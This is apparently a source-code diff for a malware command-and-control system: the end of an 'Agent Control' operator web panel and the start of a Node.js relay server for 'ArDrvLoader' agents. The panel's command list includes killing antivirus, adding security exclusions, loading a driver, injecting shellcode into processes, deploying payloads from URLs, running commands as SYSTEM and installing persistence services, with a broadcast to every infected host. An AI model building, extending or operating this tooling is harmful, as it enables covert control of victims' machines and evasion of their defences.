#cmdTable th:nth-child(5) { width:80px; }
#cmdTable th:nth-child(6) { width:300px; }
#cmdTable th:nth-child(7) { width:70px; }
#cmdTable th { position:sticky; top:0; z-index:1; background:var(--panel); text-align:left;
color:var(--dim); font-weight:600; font-size:11px; letter-spacing:.06em;
text-transform:uppercase; padding:8px 10px; border-bottom:1px solid var(--line2);
cursor:pointer; user-select:none; white-space:nowrap; }
#cmdTable th:hover { color:var(--fg); }
#cmdTable th.sorted { color:var(--accent); }
#cmdTable th.sorted.desc::after { content:" v"; }
#cmdTable th.sorted.asc::after { content:" ^"; }
#cmdTable td { padding:7px 10px; border-bottom:1px solid var(--line); vertical-align:top; }
#cmdTable tr.row { cursor:pointer; }
#cmdTable tr.row:hover { background:var(--panel2); }
#cmdTable td.when { color:var(--faint); white-space:nowrap; font-variant-numeric:tabular-nums; }
#cmdTable td.agent { color:var(--accent); white-space:nowrap; }
#cmdTable td.text { font-family:"Cascadia Mono",Consolas,monospace;
overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }
#cmdTable .rerun { display:inline-block; margin-right:6px; padding:0 5px; border-radius:4px;
font-size:10px; letter-spacing:.04em; color:var(--accent);
border:1px solid #1d4f80; background:#0f2131; cursor:pointer; }
#cmdTable .rerun:hover { background:#15324a; color:#cfe4ff; }
#cmdTable .exp { display:inline-block; width:12px; margin-right:6px; color:var(--faint);
cursor:pointer; text-align:center; }
#cmdTable .exp:hover { color:var(--accent); }
#cmdTable td.res { cursor:pointer; }
#cmdTable td.num { color:var(--faint); white-space:nowrap; text-align:right; }
#cmdTable td.res { color:#9fb2c6; overflow:hidden; text-overflow:ellipsis;
white-space:nowrap; font-family:"Cascadia Mono",Consolas,monospace; }
#cmdTable tr.detail td { background:#0c1219; border-bottom:1px solid var(--line2); }
#cmdTable tr.detail pre { margin:0; white-space:pre-wrap; word-break:break-word; color:#c6d3e2; }
#history { flex:1; overflow:auto; padding:6px 18px 18px; }
.cmd { border:1px solid var(--line); border-radius:var(--radius); background:var(--panel);
margin-bottom:8px; overflow:hidden; }
.cmd .top { display:flex; align-items:center; gap:10px; padding:8px 12px; cursor:pointer; }
.cmd .top:hover { background:var(--panel2); }
.cmd .txt { flex:1; min-width:0; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;
font-family:"Cascadia Mono",Consolas,monospace; font-size:12px; }
.state { font-size:10px; letter-spacing:.06em; text-transform:uppercase; padding:2px 7px;
border-radius:5px; border:1px solid; }
.state.queued { color:var(--warn); border-color:#5a4418; background:#2a2110; }
.state.sent { color:var(--accent); border-color:#1d4f80; background:#0f2131; }
.state.done { color:var(--ok); border-color:#1f4a38; background:#0f2419; }
.state.failed, .state.error { color:var(--err); border-color:#5c2222; background:#2a1212; }
.cmd .when { color:var(--faint); font-size:11px; white-space:nowrap; }
.cmd .body { display:none; border-top:1px solid var(--line); padding:10px 12px; }
.cmd.open .body { display:block; }
.cmd .body pre { margin:0; white-space:pre-wrap; word-break:break-word; font-size:12px; color:#c6d3e2; }
.cmd .body .empty { color:var(--faint); font-style:italic; }
.copy { float:right; margin-left:10px; }
/* ---------- overlays ---------- */
#login { position:fixed; inset:0; background:radial-gradient(1200px 600px at 50% -10%,#12202e,#070a0e 70%);
display:flex; align-items:center; justify-content:center; z-index:20; }
.card { width:340px; background:var(--panel); border:1px solid var(--line2); border-radius:14px;
padding:26px; box-shadow:0 24px 60px rgba(0,0,0,.55); }
.card h1 { font-size:12px; letter-spacing:.24em; color:var(--dim); text-transform:uppercase; margin:0 0 18px; }
.card label { display:block; font-size:11px; color:var(--dim); margin-bottom:6px; }
.card button { width:100%; margin-top:14px; }
.err { color:var(--err); font-size:12px; min-height:18px; margin-top:10px; }
#toasts { position:fixed; right:16px; bottom:16px; display:flex; flex-direction:column; gap:8px; z-index:30; }
.toast { background:var(--panel2); border:1px solid var(--line2); border-left:3px solid var(--accent);
border-radius:8px; padding:9px 14px; font-size:12px; box-shadow:0 10px 30px rgba(0,0,0,.45);
animation:slide .18s ease-out; }
.toast.ok { border-left-color:var(--ok); }
.toast.bad { border-left-color:var(--err); }
@keyframes slide { from { transform:translateY(6px); opacity:0 } to { transform:none; opacity:1 } }
@media (max-width:900px) {
#main { grid-template-columns:1fr; }
#side { display:none; }
}
</style>
</head>
<body>
<div id="login">
<div class="card">
<h1>Agent Control</h1>
<label for="key">Operator key</label>
<input id="key" type="password" placeholder="paste key" autocomplete="off">
<button class="primary" id="loginBtn">Connect</button>
<div class="err" id="loginErr"></div>
</div>
</div>
<div id="app">
<header>
<div class="brand">agent <b>control</b></div>
<div class="pill" id="livePill"><span class="dot"></span><span id="liveText">connecting</span></div>
<div class="grow"></div>
<div class="hint" id="refreshed"></div>
<button class="ghost" id="bcBtn" title="Send one command to every online agent">broadcast</button>
<button class="ghost" id="refreshBtn" title="Refresh now">refresh</button>
<button class="ghost" id="lockBtn" title="Forget key">lock</button>
</header>
<div id="main">
<aside id="side">
<div id="sideHead">
<div class="search">
<svg viewBox="0 0 24 24" fill="none" stroke-width="2"><circle cx="11" cy="11" r="7"/><path d="M20 20l-3.5-3.5"/></svg>
<input id="filter" placeholder="Search agents" autocomplete="off">
</div>
<div class="hint" id="agentCount">0 agents</div>
</div>
<div id="agentList"></div>
</aside>
<section id="content">
<div id="agentHead">
<div class="emptyHead" id="noAgent">Select an agent on the left to open a console.</div>
<div class="title" id="agentTitle" style="display:none">
<h2 id="aName"></h2>
<span class="pill" id="aState"><span class="dot"></span><span id="aStateText"></span></span>
<div class="grow"></div>
<button class="ghost" id="revokeBtn" title="Toggle this agent key">revoke</button>
<button class="ghost" id="clearSelection">close</button>
</div>
<div class="meta" id="agentMeta"></div>
</div>
<div id="viewBar">
<button class="tab active" data-view="console">Console</button>
<button class="tab" data-view="commands">All commands</button>
<div class="grow"></div>
<input id="cmdFilter" placeholder="filter commands" style="display:none;max-width:220px">
<select id="stateFilter" style="display:none;max-width:180px">
<option value="done" selected>executed (done)</option>
<option value="">any state</option>
<option value="queued">queued</option>
<option value="sent">sent</option>
</select>
</div>
<div id="allView">
<table id="cmdTable">
<thead>
<tr>
<th data-sort="created" class="sorted desc">time</th>
<th data-sort="agent">agent</th>
<th data-sort="text">command</th>
<th data-sort="state">state</th>
<th data-sort="operator">by</th>
<th data-sort="result">result</th>
<th data-sort="duration">took</th>
</tr>
</thead>
<tbody id="cmdBody"></tbody>
</table>
<div class="hint" id="cmdEmpty" style="padding:14px;display:none">No commands match.</div>
</div>
<div id="composer" style="display:none">
<div id="cmdRow">
<textarea id="text" rows="1" placeholder="Type a command, e.g. STATUS (Enter to send, Shift+Enter for newline)"></textarea>
<button class="primary" id="sendBtn">send</button>
</div>
<div id="chips"></div>
<div id="cmdBar">
<button class="ghost" id="moreCmds">all commands</button>
<div class="grow"></div>
<span class="hint">commands with &lt;args&gt; load into the box, the rest run immediately</span>
</div>
<div id="palette">
<input id="cmdSearch" placeholder="Search all commands" autocomplete="off">
<div id="cmdGroups"></div>
</div>
</div>
<div id="history"></div>
</section>
</div>
</div>
<div id="toasts"></div>
<script>
var KEY = localStorage.getItem("agentKey") || "";
var agents = [];
var selected = null;
var commands = [];
var timer = null;
var lastRefresh = 0;
var openIds = {};
// Every command the agent accepts, grouped for the palette.
// args:true means the chip pre-fills the box so the operator can fill values.
var COMMANDS = [
{ c: "PING", g: "basics" },
{ c: "STATUS", g: "basics" },
{ c: "HELP", g: "basics" },
{ c: "RUN <cmd>", g: "execute", a: 1 },
{ c: "EXEC <commandline>", g: "execute", a: 1 },
{ c: "RUN_USER <cmd>", g: "execute", a: 1 },
{ c: "RUN_SYSTEM <cmd>", g: "execute", a: 1 },
{ c: "PS <powershell command>", g: "execute", a: 1 },
{ c: "PS_USER <powershell command>", g: "execute", a: 1 },
{ c: "RUNFILE <path> [args]", g: "files", a: 1 },
{ c: "RUNFILE_USER <path> [args]", g: "files", a: 1 },
{ c: "RUNFILE_SYSTEM <path> [args]", g: "files", a: 1 },
{ c: "OPENFILE <path> [args]", g: "files", a: 1 },
{ c: "OPENFILE_USER <path> [args]", g: "files", a: 1 },
{ c: "DOWNLOAD <url> <output-path> [sha256]", g: "files", a: 1 },
{ c: "DEPLOY <url> [args]", g: "files", a: 1 },
{ c: "DEPLOY_SYSTEM <url> [args]", g: "files", a: 1 },
{ c: "KILLPID <pid>", g: "processes", a: 1 },
{ c: "KILLNAME <name.exe>", g: "processes", a: 1 },
{ c: "KILLALL <name.exe>", g: "processes", a: 1 },
{ c: "TOKEN_GET", g: "processes" },
{ c: "INJECT_FILE <pid> <shellcode-path>", g: "processes", a: 1 },
{ c: "INJECT_SUSPEND <exe-path> <shellcode-path>", g: "processes", a: 1 },
{ c: "KILLAV", g: "security", danger: 1 },
{ c: "KILLAV_DRYRUN", g: "security" },
{ c: "EXCLUSION_LIST", g: "security" },
{ c: "EXCLUSION_ADD <path>", g: "security", a: 1 },
{ c: "EXCLUSION_APPLY", g: "security" },
{ c: "DRIVER_STATUS", g: "driver" },
{ c: "DRIVER_RESET", g: "driver" },
{ c: "DRIVER_LOAD", g: "driver" },
{ c: "HOST_LIST", g: "hosts" },
{ c: "HOST_SPAWN [--host <image>] <exe> [args]", g: "hosts", a: 1 },
{ c: "HOST_SPAWN_USER [--host <image>] <exe> [args]", g: "hosts", a: 1 },
{ c: "HOST_INJECT <shellcode-path> [--host <image>]", g: "hosts", a: 1 },
{ c: "HOST_TRACK", g: "hosts" },
{ c: "HOST_UNTRACK", g: "hosts" },
{ c: "STAGE_STATUS", g: "payload" },
{ c: "STAGE_INJECT [--host <image>]", g: "payload", a: 1 },
{ c: "STAGE_RUN <command line>", g: "payload", a: 1 },
{ c: "STAGE_STOP", g: "payload" },
{ c: "SERVICE_STATUS <name>", g: "services", a: 1 },
{ c: "START_SERVICE <name> [binary-path]", g: "services", a: 1 },
{ c: "INSTALL_SERVICE <name> [binary-path]", g: "services", a: 1 },
{ c: "INSTALL_CLOUD_SERVICE <name>", g: "services", a: 1 },
{ c: "INSTALL_GUARD_SERVICES [--target <path>] [--target-service <name>] [--args <args>]", g: "services", a: 1 },
{ c: "STOP", g: "session", danger: 1 }
];
var QUICK = ["STATUS", "PING", "HOST_LIST", "STAGE_STATUS", "DRIVER_STATUS", "EXCLUSION_LIST", "KILLAV_DRYRUN", "HELP"];
function $(id) { return document.getElementById(id); }
function esc(v) {
return String(v == null ? "" : v).replace(/[&<>"']/g, function (c) {
return { "&":"&amp;", "<":"&lt;", ">":"&gt;", '"':"&quot;", "'":"&#39;" }[c];
});
}
function ago(sec) {
sec = Math.max(0, sec | 0);
if (sec < 60) return sec + "s ago";
if (sec < 3600) return Math.floor(sec / 60) + "m ago";
if (sec < 86400) return Math.floor(sec / 3600) + "h ago";
return Math.floor(sec / 86400) + "d ago";
}
function clock(ts) {
var d = new Date(ts * 1000);
return d.toLocaleTimeString([], { hour: "2-digit", minute: "2-digit", second: "2-digit" });
}
function toast(msg, kind) {
var el = document.createElement("div");
el.className = "toast " + (kind || "");
el.textContent = msg;
$("toasts").appendChild(el);
setTimeout(function () { el.remove(); }, 3200);
}
function api(path, opts) {
return fetch(path, Object.assign({
headers: { "X-Operator-Key": KEY, "Content-Type": "application/json" }
}, opts || {})).then(function (res) {
if (res.status === 403) { lock("operator key rejected"); throw new Error("denied"); }
return res.json();
});
}
function lock(msg) {
if (timer) { clearInterval(timer); timer = null; }
$("login").style.display = "flex";
$("loginErr").textContent = msg || "";
$("key").focus();
}
function connect() {
KEY = $("key").value.trim();
if (!KEY) { $("loginErr").textContent = "key required"; return; }
localStorage.setItem("agentKey", KEY);
$("login").style.display = "none";
start();
}
function start() {
renderChips();
refresh(true);
if (timer) clearInterval(timer);
timer = setInterval(function () { refresh(false); }, 3000);
}
function refresh(force) {
return Promise.all([api("/api/agents"), api("/api/stats")]).then(function (r) {
agents = r[0].agents || [];
var online = 0;
agents.forEach(function (a) { if (a.online) online++; });
$("liveText").textContent = online + " online / " + agents.length;
$("livePill").className = "pill" + (online ? " live" : "");
$("agentCount").textContent = agents.length + (agents.length === 1 ? " agent" : " agents");
lastRefresh = Date.now();
$("refreshed").textContent = "updated " + new Date(lastRefresh).toLocaleTimeString();
renderAgents();
if (viewMode === "commands") { loadAll(); return; }
if (selected) {
var a = agents.filter(function (x) { return x.id === selected; })[0];
if (a) renderHead(a);
return api("/api/commands?agent=" + encodeURIComponent(selected) + "&limit=40").then(function (list) {
commands = list.commands || [];
renderHistory();
});
}
}).catch(function (e) {
if (String(e.message) !== "denied") toast("refresh failed: " + e.message, "bad");
});
}
function renderAgents() {
var f = ($("filter").value || "").toLowerCase();
var rows = agents.filter(function (a) {
return !f || String(a.id).toLowerCase().indexOf(f) >= 0 || String(a.host || "").toLowerCase().indexOf(f) >= 0;
}).sort(function (a, b) {
if (a.online !== b.online) return a.online ? -1 : 1;
return a.age - b.age;
});
var html = rows.map(function (a) {
var cls = "agent" + (a.id === selected ? " sel" : "") + (a.online ? "" : " offline");
var user = (a.user || "").split("\\").pop() || "unknown";
return '<div class="' + cls + '" data-agent="' + esc(a.id) + '" tabindex="0">' +
'<span class="dot ' + (a.online ? "on" : "") + '"></span>' +
'<div class="nm"><span>' + esc(a.id) + '</span>' +
(a.system ? '<span class="tag">system</span>' : "") +
(a.revoked ? '<span class="tag revoked">revoked</span>' : "") + '</div>' +
(a.queued ? '<span class="badge">' + a.queued + ' queued</span>' : '<span></span>') +
'<div class="sub">' + esc(a.host || "unknown host") + ' - ' + esc(user) +
' - ' + ago(a.age) + '</div>' +
'</div>';
}).join("");
$("agentList").innerHTML = html || '<div class="hint" style="padding:14px">No agents match.</div>';
Array.prototype.forEach.call($("agentList").querySelectorAll(".agent"), function (el) {
el.addEventListener("click", function () { select(el.getAttribute("data-agent")); });
el.addEventListener("keydown", function (e) {
if (e.key === "Enter" || e.key === " ") { e.preventDefault(); select(el.getAttribute("data-agent")); }
});
});
}
function pill(label) { return '<span class="pill">' + esc(label) + '</span>'; }
function renderHead(a) {
$("noAgent").style.display = "none";
$("agentTitle").style.display = "flex";
$("composer").style.display = "flex";
$("aName").textContent = a.id;
$("aState").className = "pill" + (a.revoked ? "" : (a.online ? " live" : ""));
$("aStateText").textContent = a.revoked ? "revoked" : (a.online ? "online" : "offline");
$("revokeBtn").textContent = a.revoked ? "restore" : "revoke";
var meta = [
pill("host " + (a.host || "?")),
pill("user " + (a.user || "?")),
pill("sid " + (a.sid || "?")),
pill("v" + (a.version || "?")),
pill("interval " + Math.round((a.interval || 0) / 1000) + "s"),
pill("seen " + ago(a.age))
];
if (a.queued) meta.push(pill(a.queued + " queued"));
$("agentMeta").innerHTML = meta.join("");
}
function select(id) {
selected = id;
openIds = {};
renderAgents();
var a = agents.filter(function (x) { return x.id === id; })[0];
if (a) renderHead(a);
refresh(false);
}
function chipButton(entry, cls) {
var danger = entry.danger ? " danger" : "";
var label = entry.label || entry.c
.replace(/<[^>]*>/g, "")
.replace(/\[[^\]]*\]/g, "")
.replace(/\s+/g, " ")
.trim()
.toLowerCase();
return '<button class="' + cls + danger + '" data-cmd="' + esc(entry.c) + '" data-args="' + (entry.a ? 1 : 0) + '"' +
' title="' + esc(entry.c) + '">' + esc(label) + "</button>";
}
function clickChip(cmd, hasArgs) {
if (!selected) { toast("select an agent first", "bad"); return; }
if (hasArgs) {
var box = $("text");
box.value = cmd;
box.focus();
box.style.height = "42px";
box.style.height = Math.min(box.scrollHeight, 160) + "px";
toast("fill in the arguments, then Enter", "ok");
return;
}
$("text").value = cmd;
send();
}
function renderChips() {
var quick = QUICK.map(function (name) {
var entry = COMMANDS.filter(function (c) { return c.c === name; })[0] || { c: name };
return chipButton(entry, "chip");
}).join("");
$("chips").innerHTML = quick;
Array.prototype.forEach.call($("chips").querySelectorAll("button"), function (b) {
b.addEventListener("click", function () {
clickChip(b.getAttribute("data-cmd"), b.getAttribute("data-args") === "1");
});
});
$("moreCmds").textContent = "all commands (" + COMMANDS.length + ")";
renderPalette("");
}
function renderPalette(filter) {
var f = (filter || "").toLowerCase();
var groups = {};
COMMANDS.forEach(function (entry) {
if (f && entry.c.toLowerCase().indexOf(f) < 0) return;
(groups[entry.g] = groups[entry.g] || []).push(entry);
});
var html = Object.keys(groups).map(function (g) {
return '<div class="pgroup"><div class="plabel">' + esc(g) + "</div>" +
groups[g].map(function (e) { return chipButton(e, "pchip"); }).join("") + "</div>";
}).join("");
$("cmdGroups").innerHTML = html || '<div class="hint">no command matches</div>';
Array.prototype.forEach.call($("cmdGroups").querySelectorAll("button"), function (b) {
b.addEventListener("click", function () {
clickChip(b.getAttribute("data-cmd"), b.getAttribute("data-args") === "1");
});
});
}
function renderHistory() {
if (!selected) { $("history").innerHTML = ""; return; }
if (!commands.length) {
$("history").innerHTML = '<div class="hint" style="padding:18px">No commands yet. Use a quick action above.</div>';
return;
}
commands.forEach(function (c, i) {
if (i === 0 && c.state === "done" && !(c.id in openIds)) openIds[c.id] = true;
});
$("history").innerHTML = commands.map(function (c) {
var open = openIds[c.id] ? " open" : "";
var duration = c.finished && c.sent ? ((c.finished - c.sent) * 1000) + " ms" : (c.state === "sent" ? "waiting" : "");
var result = c.result
? '<pre id="r_' + esc(c.id) + '">' + esc(c.result) + '</pre>'
: '<div class="empty">no output yet</div>';
return '<div class="cmd' + open + '" data-id="' + esc(c.id) + '">' +
'<div class="top">' +
'<span class="state ' + esc(c.state) + '">' + esc(c.state) + '</span>' +
'<span class="txt">' + esc(c.text) + '</span>' +
'<span class="when">' + clock(c.created) + (duration ? " - " + duration : "") + '</span>' +
'</div>' +
'<div class="body">' + result +
'<div style="margin-top:8px;display:flex;gap:8px">' +
'<button class="ghost copy" data-copy="' + esc(c.id) + '">copy result</button>' +
'<button class="ghost" data-again="' + esc(c.text) + '">run again</button>' +
'</div>' +
'</div>' +
'</div>';
}).join("");
Array.prototype.forEach.call($("history").querySelectorAll(".cmd"), function (el) {
el.querySelector(".top").addEventListener("click", function () {
var id = el.getAttribute("data-id");
openIds[id] = !openIds[id];
el.classList.toggle("open");
});
});
Array.prototype.forEach.call($("history").querySelectorAll("[data-copy]"), function (b) {
b.addEventListener("click", function (e) {
e.stopPropagation();
var pre = $("r_" + b.getAttribute("data-copy"));
if (!pre) return;
navigator.clipboard.writeText(pre.textContent).then(function () { toast("result copied", "ok"); });
});
});
Array.prototype.forEach.call($("history").querySelectorAll("[data-again]"), function (b) {
b.addEventListener("click", function (e) {
e.stopPropagation();
$("text").value = b.getAttribute("data-again");
send();
});
});
}
function send() {
var text = $("text").value.trim();
if (!selected) { toast("select an agent first", "bad"); return; }
if (!text) return;
$("sendBtn").disabled = true;
api("/api/enqueue", { method: "POST", body: JSON.stringify({ agent: selected, text: text }) })
.then(function (r) {
if (!r.ok) throw new Error(r.error || "enqueue failed");
$("text").value = "";
$("text").style.height = "42px";
toast("queued for " + selected, "ok");
return refresh(false);
})
.catch(function (e) { toast("send failed: " + e.message, "bad"); })
.then(function () { $("sendBtn").disabled = false; });
}
/* ---------------- all commands view ---------------- */
var viewMode = "console";
var allCommands = [];
var sortKey = "created";
var sortDir = "desc";
var openAll = {};
function fmtDuration(c) {
if (c.finished && c.sent) return ((c.finished - c.sent) * 1000) + " ms";
if (c.state === "sent") return "waiting";
return "-";
}
function loadAll() {
return api("/api/commands?limit=200").then(function (r) {
allCommands = r.commands || [];
renderAll();
}).catch(function (e) {
if (String(e.message) !== "denied") toast("load failed: " + e.message, "bad");
});
}
function rowValue(c, key) {
if (key === "duration") return (c.finished && c.sent) ? (c.finished - c.sent) : 1e9;
if (key === "agent") return String(c.agent || "").toLowerCase();
if (key === "text") return String(c.text || "").toLowerCase();
if (key === "state") return String(c.state || "");
if (key === "operator") return String(c.operator || "");
if (key === "result") return String(c.result || "").toLowerCase();
return c[key] || 0;
}
function renderAll() {
var f = ($("cmdFilter").value || "").toLowerCase();
var st = $("stateFilter").value;
var rows = allCommands.filter(function (c) {
if (st && c.state !== st) return false;
if (!f) return true;
return String(c.agent).toLowerCase().indexOf(f) >= 0 || String(c.text).toLowerCase().indexOf(f) >= 0;
});
rows.sort(function (a, b) {
var av = rowValue(a, sortKey), bv = rowValue(b, sortKey);
if (av < bv) return sortDir === "asc" ? -1 : 1;
if (av > bv) return sortDir === "asc" ? 1 : -1;
return 0;
});
Array.prototype.forEach.call(document.querySelectorAll("#cmdTable th"), function (th) {
th.classList.toggle("sorted", th.getAttribute("data-sort") === sortKey);
th.classList.toggle("asc", th.getAttribute("data-sort") === sortKey && sortDir === "asc");
th.classList.toggle("desc", th.getAttribute("data-sort") === sortKey && sortDir === "desc");
});
var html = rows.map(function (c) {
var open = openAll[c.id];
var detail = open
? '<tr class="detail"><td colspan="7"><pre>' + esc(c.result || "(no output)") + "</pre></td></tr>"
: "";
return '<tr class="row" data-id="' + esc(c.id) + '" title="click to load into the console">' +
'<td class="when">' + clock(c.created) + "</td>" +
'<td class="agent">' + esc(c.agent) + "</td>" +
'<td class="text"><span class="exp" data-expand="' + esc(c.id) + '" title="show result">' +
(openAll[c.id] ? "-" : "+") + "</span>" +
'<span class="rerun" data-rerun="' + esc(c.text) + '" data-rerun-agent="' + esc(c.agent) +
'" title="run this again now">run</span>' +
esc(c.text) + "</td>" +
'<td><span class="state ' + esc(c.state) + '">' + esc(c.state) + "</span></td>" +
'<td class="when">' + esc(c.operator || "") + "</td>" +
'<td class="res" data-expand="' + esc(c.id) + '" title="' + esc((c.result || "").replace(/\s+/g, " ")) + '">' +
esc((c.result || "").replace(/\s+/g, " ").slice(0, 90)) + "</td>" +
'<td class="num">' + esc(fmtDuration(c)) + "</td>" +
"</tr>" + detail;
}).join("");
$("cmdBody").innerHTML = html;
$("cmdEmpty").style.display = rows.length ? "none" : "block";
Array.prototype.forEach.call($("cmdBody").querySelectorAll("[data-rerun]"), function (b) {
b.addEventListener("click", function (e) {
e.stopPropagation();
var cmdText = b.getAttribute("data-rerun");
var agent = b.getAttribute("data-rerun-agent");
if (!confirm("Run again on " + agent + "?\n\n" + cmdText)) return;
api("/api/enqueue", { method: "POST", body: JSON.stringify({ agent: agent, text: cmdText }) })
.then(function (r) {
if (!r.ok) throw new Error(r.error || "enqueue failed");
toast("queued on " + agent, "ok");
return loadAll();
})
.catch(function (err) { toast("rerun failed: " + err.message, "bad"); });
});
});
Array.prototype.forEach.call($("cmdBody").querySelectorAll("tr.row"), function (tr) {
tr.addEventListener("click", function (e) {
var id = tr.getAttribute("data-id");
var expander = e.target.closest("[data-expand]");
// Clicking the result or the + toggles the output; clicking anywhere else
// loads the command into the console for immediate re-run.
if (expander) {
openAll[id] = !openAll[id];
renderAll();
return;
}
loadIntoConsole(tr);
});
});
}
// Fast path: pick a past command, land in that agent's console with the text
// already in the box, cursor blinking, one Enter away.
function loadIntoConsole(tr) {
var id = tr.getAttribute("data-id");
var c = allCommands.filter(function (x) { return x.id === id; })[0];
if (!c) return;
if (selected !== c.agent) select(c.agent);
setView("console");
var box = $("text");
box.value = c.text;
box.style.height = "42px";
box.style.height = Math.min(box.scrollHeight, 160) + "px";
box.focus();
toast("ready to send: " + c.text.slice(0, 48), "ok");
}
function setView(mode) { viewMode = mode;
Array.prototype.forEach.call(document.querySelectorAll(".tab"), function (b) {
b.classList.toggle("active", b.getAttribute("data-view") === mode);
});
var all = mode === "commands";
$("allView").style.display = all ? "block" : "none";
$("history").style.display = all ? "none" : "block";
$("composer").style.display = all ? "none" : (selected ? "flex" : "none");
$("cmdFilter").style.display = all ? "block" : "none";
$("stateFilter").style.display = all ? "block" : "none";
if (all) loadAll(); else if (selected) refresh(false);
}
$("loginBtn").addEventListener("click", connect);
$("key").addEventListener("keydown", function (e) { if (e.key === "Enter") connect(); });
$("refreshBtn").addEventListener("click", function () { refresh(true); });
$("bcBtn").addEventListener("click", function () {
var text = prompt("Broadcast to every online agent:", "STATUS");
if (!text) return;
api("/api/broadcast", { method: "POST", body: JSON.stringify({ target: "all", text: text }) })
.then(function (r) { toast("broadcast queued for " + r.sent + " agents", "ok"); refresh(false); })
.catch(function (e) { toast("broadcast failed: " + e.message, "bad"); });
});
$("lockBtn").addEventListener("click", function () {
localStorage.removeItem("agentKey");
KEY = "";
lock("");
});
$("filter").addEventListener("input", renderAgents);
Array.prototype.forEach.call(document.querySelectorAll(".tab"), function (b) {
b.addEventListener("click", function () { setView(b.getAttribute("data-view")); });
});
Array.prototype.forEach.call(document.querySelectorAll("#cmdTable th"), function (th) {
th.addEventListener("click", function () {
var k = th.getAttribute("data-sort");
if (sortKey === k) sortDir = sortDir === "asc" ? "desc" : "asc";
else { sortKey = k; sortDir = (k === "created") ? "desc" : "asc"; }
renderAll();
});
});
$("cmdFilter").addEventListener("input", renderAll);
$("stateFilter").addEventListener("change", renderAll);
$("moreCmds").addEventListener("click", function () {
var p = $("palette");
p.classList.toggle("open");
if (p.classList.contains("open")) {
renderPalette($("cmdSearch").value);
$("cmdSearch").focus();
}
});
$("cmdSearch").addEventListener("input", function () { renderPalette(this.value); });
$("sendBtn").addEventListener("click", send);
$("revokeBtn").addEventListener("click", function () {
var a = agents.filter(function (x) { return x.id === selected; })[0];
if (!a) return;
if (!confirm((a.revoked ? "Restore" : "Revoke") + " key for " + a.id + "?")) return;
api("/api/revoke", { method: "POST", body: JSON.stringify({ agent: a.id, revoked: !a.revoked }) })
.then(function () { toast(a.revoked ? "key restored" : "key revoked", "ok"); refresh(true); })
.catch(function (e) { toast("revoke failed: " + e.message, "bad"); });
});
$("clearSelection").addEventListener("click", function () {
selected = null;
$("agentTitle").style.display = "none";
$("composer").style.display = "none";
$("noAgent").style.display = "block";
$("agentMeta").innerHTML = "";
$("history").innerHTML = "";
renderAgents();
});
$("text").addEventListener("keydown", function (e) {
if (e.key === "Enter" && !e.shiftKey) { e.preventDefault(); send(); }
});
$("text").addEventListener("input", function () {
this.style.height = "42px";
this.style.height = Math.min(this.scrollHeight, 160) + "px";
});
document.addEventListener("keydown", function (e) {
if (e.key === "/" && document.activeElement.tagName !== "INPUT" && document.activeElement.tagName !== "TEXTAREA") {
e.preventDefault();
$("filter").focus();
}
});
var preKey = new URLSearchParams(location.search).get("key");
if (preKey) { KEY = preKey; localStorage.setItem("agentKey", KEY); }
if (KEY) { $("login").style.display = "none"; start(); }
</script>
</body>
</html>
+492
View File
@@ -0,0 +1,492 @@
// Relay server for ArDrvLoader agents.
//
// The Cloudflare Worker is only a proxy in front of this process; all state,
// auth and the panel live here. Node >= 22 for node:sqlite.
//
// node server.js
//
// Env:
// PORT listen port (default 8790)
// DATA_DIR sqlite + payloads (default ./data)
// PANEL_PATH panel.html (default ../cloudflare/panel.html)
// AGENT_SECRET master key for agent key derivation
// OPERATOR_KEY panel / operator API key
// ENROLL_SECRET enrollment token
// LEGACY_MASTER_AUTH "true" accepts the shared key during rollout
// PROXY_SECRET when set, requests must carry X-Proxy-Secret
const http = require("node:http");
const fs = require("node:fs");
const path = require("node:path");
const crypto = require("node:crypto");
const { DatabaseSync } = require("node:sqlite");
const PORT = Number(process.env.PORT || 8790);
const DATA_DIR = path.resolve(process.env.DATA_DIR || path.join(__dirname, "data"));
const PANEL_PATH = path.resolve(process.env.PANEL_PATH || path.join(__dirname, "panel.html"));
const AGENT_SECRET = process.env.AGENT_SECRET || "";
const OPERATOR_KEY = process.env.OPERATOR_KEY || "";
const ENROLL_SECRET = process.env.ENROLL_SECRET || OPERATOR_KEY;
const PROXY_SECRET = process.env.PROXY_SECRET || "";
const LEGACY_MASTER_AUTH = process.env.LEGACY_MASTER_AUTH === "true";
fs.mkdirSync(DATA_DIR, { recursive: true });
fs.mkdirSync(path.join(DATA_DIR, "files"), { recursive: true });
const db = new DatabaseSync(path.join(DATA_DIR, "ardrv.sqlite"));
db.exec("PRAGMA journal_mode=WAL");
db.exec("PRAGMA busy_timeout=5000");
db.exec("PRAGMA synchronous=NORMAL");
db.exec(`
CREATE TABLE IF NOT EXISTS agents (
id TEXT PRIMARY KEY,
first_seen INTEGER NOT NULL,
last_seen INTEGER NOT NULL,
host TEXT, user TEXT, sid TEXT, version TEXT,
interval INTEGER, system INTEGER, tags TEXT, revoked INTEGER DEFAULT 0
);
CREATE TABLE IF NOT EXISTS commands (
id TEXT PRIMARY KEY,
agent TEXT NOT NULL,
text TEXT NOT NULL,
state TEXT NOT NULL,
created INTEGER NOT NULL,
sent INTEGER, finished INTEGER,
operator TEXT, result TEXT, error TEXT
);
CREATE INDEX IF NOT EXISTS idx_commands_agent ON commands(agent, created DESC);
CREATE INDEX IF NOT EXISTS idx_commands_state ON commands(state);
CREATE TABLE IF NOT EXISTS events (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ts INTEGER NOT NULL, kind TEXT NOT NULL, agent TEXT, detail TEXT
);
`);
const now = () => Math.floor(Date.now() / 1000);
function hmacHex(secret, message)
{
return crypto.createHmac("sha256", String(secret)).update(String(message)).digest("hex");
}
function sha256Hex(buf)
{
return crypto.createHash("sha256").update(buf || Buffer.alloc(0)).digest("hex");
}
function deriveAgentSecret(agent)
{
return hmacHex(AGENT_SECRET, "agent:" + agent);
}
function safeEqual(a, b)
{
const x = Buffer.from(String(a));
const y = Buffer.from(String(b));
return x.length === y.length && crypto.timingSafeEqual(x, y);
}
function json(res, data, status = 200)
{
const body = JSON.stringify(data);
res.writeHead(status, {
"Content-Type": "application/json; charset=utf-8",
"Content-Length": Buffer.byteLength(body),
"Cache-Control": "no-store"
});
res.end(body);
}
function text(res, body, status = 200, type = "text/plain; charset=utf-8")
{
const buf = Buffer.isBuffer(body) ? body : Buffer.from(String(body), "utf8");
res.writeHead(status, { "Content-Type": type, "Content-Length": buf.length, "Cache-Control": "no-store" });
res.end(buf);
}
function readBody(req)
{
return new Promise((resolve, reject) => {
